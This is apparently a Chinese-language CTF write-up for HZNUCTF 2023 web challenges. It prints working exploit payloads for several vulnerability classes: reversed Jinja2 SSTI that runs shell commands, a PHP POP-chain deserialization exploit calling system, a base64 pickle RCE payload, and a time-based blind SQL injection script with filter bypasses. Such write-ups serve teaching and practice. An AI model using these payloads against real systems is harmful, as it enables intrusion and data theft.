[HZNUCTF 2023 preliminary]guessguessguess
这道题目打不开了
[HZNUCTF 2023 preliminary]flask
这道题目考察SSTI倒序的模板注入,以及用env命令获得flag
看题目,猜测是SSTI模板注入,先输入{7*7},发现模板是倒序输入的
输入}}'7'*7{{返回777777,为jinja2模板
这里放上python倒序代码
import base64
strA = input('需要转换的字符:')
strB=strA[::-1]
sbase=str(base64.b64encode(strB.encode("utf-8")), "utf-8") #base
print(strB) #base不能直接编码,要先换成byte类型,直接在线网站编码
接着我们构造payload,找出flag文件
?name=}})')(daer.)"/ sl"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
发现flag在flag.sh文件下,给出下面提示flag又不在这里
?name=}})')(daer.)"hs.galf/ cat"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
接着给出提示/bin/bash,接着我们构造payload,看看此文件,发现出现2个文件 ,查询文件无果
?name=}})')(daer.)"sl;hsab/nib/ dc"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
接着用env命令查看一下环境变量
?name=}})')(daer.)"vne"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
[HZNUCTF 2023 preliminary]ppppop
这道题目考察php反序列化及pop链的构建
打开这道题目发现一片空白,检查网络中的数据包,发现cookie中存在base64编码值,进行解码
解码之后发现字符串中有一个布尔值,空白原因可能是布尔值为0,一般来说0表示false,我们将0修改为1再进行base64编码,再将编码后的值替代之前cookie值发包
得到下面php代码,其中涉及到魔术引号以及函数
在对象中调用一个不可访问方法时,__call() 会被调用
$name 参数是要调用的方法名称。$arguments 参数是一个枚举数组,包含着要传递给方法 $name 的参数
strrev() 函数反转字符串
<?php
error_reporting(0);
include('utils.php');
class A {
public $className;
public $funcName;
public $args;
public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}
class B {
public function __call($func, $arg) {
$func($arg[0]);
}
}
if(checkUser()) {
highlight_file(__FILE__);
$payload = strrev(base64_decode($_POST['payload']));
unserialize($payload);
}
?>
得到源码后就是反序列化构造pop链了,不难看出是通过A类来触发B类中的__call从而实现任意命令,执行后的回显肯定是在class B的__call 魔术方法里,所以我们需要让func和arg成为我们需要的变量。所以我们构造pop链如下:
poc如下:
<?php
error_reporting(0);
include('utils.php');
class A {
public $className="B";
public $funcName="system";
public $args="env";
public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}
class B {
public function __call($func, $arg) {
$func($arg[0]);
}
}
$a=new A();
echo(base64_encode(strrev(serialize($a))));
?>
这里在B类中调用system没有直接触发__call方法并将system作为参数传入__call中造成执行系统命令来查看环境变量从而得到flag
[HZNUCTF 2023 preliminary]pickle
打开题目,右键查看源代码,在pycharm中格式化
import base64
import pickle
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()
@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"
@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename').replace("flag", "????")
with open(filename, 'r') as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0')
发现有两个可以访问的页面:/calc和/readFile。由于calc下面的语句有一个getFlag,我认为flag应该是在这里拿到的。然后往下看,需要get传参payload,然后用base64解码payload,然后pickle.loads被过滤os的解码代码。先去查了pickle的用法,发现是python里的序列化和反序列化函数。看看WP文章 - [HZNUCTF 2023 preliminary]pickle jmx0hxq的WriteUp | NSSCTF
payload:/readFile?filename=a
下面一些是其他博主对代码的解释:
1. 首先,python代码里先进行return以覆盖下一个return的返回值。所以本题可以让反序列化之后的值先进行return的操作。
2. 然后本题中return的那段:
return eval,("__import__('o'+'s').system('env | tee a')",)
这段的意思,有两个元素用逗号隔开return,就是一个可以执行eval的特性。
3. 其中还有一个__import__('os')语句的意思,就是在中途导入os模块,并且将__import__('os')这一段变成'os'。
4.python中,os就是可以调用system的函数:
os模块负责程序与操作系统的交互,提供了访问操作系统底层的接口;即os模块提供了非常丰富的方法用来处理文件和目录。
所以os.system('ls /')也是可以读取根目录的。但是由于eval函数没有回显,所以用tee将内容复制到a.txt,然后再用/readFile函数读取文件就可以了。
所以payload:
/calc?payload=gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnbycrJ3MnKS5zeXN0ZW0oJ2xzIC8gfCB0ZWUgYScplIWUUpQu
然后读取a文件:/readFile?filename=a
[HZNUCTF 2023 preliminary]ezlogin
这道题目考察sql的盲注,并且带有过滤
打开题目,查看网页源代码,可以知道注入点在username上,且为POST传参,注入进行了关键字的过滤
过滤and ==》&& //我直接or了
过滤database ==》Database
过滤空格 ==》/**/
过滤= ==》like
发现没有显示报错界面,只能用盲注试试了,下面是别人的脚本代码
import requests
import base64
import datetime
url='http://node5.anna.nssctf.cn:28144/'
flag = ''
for i in range(1,100):
low = 32
high = 130
mid = (high + low) // 2
while (low < high):
payload = "1'||if((ascii(substr((SELECT/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{},1)))>{},sleep(1),1)#"
payload = payload.format(i, mid)
print(payload)
payload = base64.b64encode(payload[::-1].encode("utf-8"))
data = {
'username':payload,
'passwd':'1'
}
time1 = datetime.datetime.now()
r = requests.post(url, data)
time2 = datetime.datetime.now()
time = (time2 - time1).seconds
if time > 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 130):
break
flag += chr(mid)
print(flag)
爆库名
# payload = "1'||if((ascii(substr((DATABASE()),{},1)))>{},sleep(1),1)#"爆表名
# payload = "1'||if((ascii(substr((SELECT/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/DATABASE()),{},1)))>{},sleep(1),1)#"爆列名
# payload = "1'||if((ascii(substr((SELECT/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'user'),{},1)))>{},sleep(1),1)#"爆数据
# payload = "1'||if((ascii(substr((SELECT/**/group_concat(Password)/**/from/**/users.user),{},1)))>{},sleep(1),1)#"
这样慢慢的等着跑出来就好了